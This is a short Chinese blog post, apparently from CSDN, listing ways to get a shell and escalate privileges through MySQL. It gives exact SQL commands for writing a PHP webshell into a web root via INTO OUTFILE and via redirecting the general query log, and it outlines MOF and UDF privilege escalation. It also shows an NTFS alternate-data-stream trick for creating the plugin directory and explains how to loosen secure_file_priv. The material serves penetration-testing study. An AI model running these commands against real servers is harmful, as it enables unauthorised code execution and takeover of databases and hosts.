mysql的几种获取shell和提权的方式

mysql outfile导出webshell

条件:知道物理路径,root权限,同时mysql需要有write权限,secure_file_priv配置不为null,查看方法:

show global variables like '%secure_file_priv%';

这个参数只能通过修改配置文件后重启mysql修改。

1.select '<?php phpinfo();?>' into outfile 'C:phpStudy/PHPTutorial/WWW/11.php'

2.新建一个表,创建一个空字段,在这个字段里插入php马,再导出

直接导出需要开启安全配置

secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()(读取文件)

mysql日志获取webshell

查看:

SHOW VARIABLES LIKE '%general%'

修改状态:

set global general_log="ON";

修改储存位置:

set global general_log_file='C:/phpStudy/PHPTutorial/WWW/11.php';

写马:

select '<?php phpinfo(); ?>';

只需root权限即可

mof提权

MOF提权的条件要求十分严苛:

windows 03及以下版本

mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录

secure-file-priv参数不为null

udf提取
需要知道root账户的密码,目标系统windows

方法1:上传moon.php等大马,进行导出udf,moon.php同样需要secure_file_priv

方法2: 同样需要secure_file_priv

将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)

该文件夹默认不存在,可以用ntfs ads流来创建

select @@basedir找到mysql目录

select 'It is dll' into dumpfile 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION';生成目录

从udf文件中引入自定义函数(user defined function)

执行自定义函数

关闭安全模式方法
查看配置,执行mysql命令

SHOW VARIABLES LIKE "secure_file_priv";

如果value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行),如果为空,则不限制目录;

修改配置可修改mysql配置文件,查看是否有

secure_file_priv =

这样一行内容,如果没有,则手动添加,

secure_file_priv = /home

表示限制为/home文件夹

secure_file_priv =

表示不限制目录,等号一定要有,否则mysql无法启动

修改完配置文件后,重启mysql生效

发布了7 篇原创文章 · 获赞 3 · 访问量 212

猜你喜欢

转载自blog.csdn.net/k851819815/article/details/104428143